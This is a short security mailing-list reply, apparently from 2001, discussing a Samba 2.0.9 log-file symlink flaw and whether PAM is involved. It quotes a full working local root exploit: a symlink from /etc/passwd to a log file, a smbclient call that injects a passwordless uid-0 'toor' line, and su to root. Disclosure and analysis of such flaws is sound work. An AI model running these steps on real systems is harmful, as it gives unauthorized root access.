Pavol Luptak <wilderat_private> wrote: > > [wilder@lysurus wilder]$ cat /etc/redhat-release > Linux Mandrake release 8.0 (Traktopel) for i586 > [wilder@lysurus wilder]$ rpm -q pam > pam-0.74-6mdk > [wilder@lysurus wilder]$ egrep "log file" /etc/smb.conf > # this tells Samba to use a separate log file for each machine > log file = /var/log/samba/%m.log (= changed from default log.%m) > # Put a capping on the size of the log files (in Kb). > [wilder@lysurus wilder]$ rpm -qf /usr/sbin/smbd > samba-2.0.9-1.3mdk > [wilder@lysurus wilder]$ ln -s /etc/passwd /tmp/x.log > [wilder@lysurus wilder]$ smbclient //localhost/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" -n ../../../tmp/x -N > added interface ip=10.0.0.43 bcast=10.0.0.255 nmask=255.255.255.0 > Anonymous login successful > Domain=[UI42] OS=[Unix] Server=[Samba 2.0.9] > [wilder@lysurus wilder]$ tail /etc/passwd > .. > .. > [2001/06/25 18:46:48, 1] smbd/reply.c:reply_sesssetup_and_X(927) > Rejecting user 'wilder': authentication failed > [2001/06/25 18:46:48, 0] smbd/service.c:make_connection(213) > ../../../tmp/x (127.0.0.1) couldn't find service > toor::0:0::/:/bin/sh > [wilder@lysurus wilder]$ su toor > [root@lysurus wilder]# > > Appending to /etc/passwd has nothing to do with pam. No, not directly, but if your `su` uses PAM to authenticate users and PAM reacts to the spaces in the beginning of the passwd file, it surely has something to do with PAM. To check whether `su` uses PAM or not, try "ldd `which su`|grep libpam" <snip> Regards -- Joachim Blaabjerg styxat_private www.SuxOS.org
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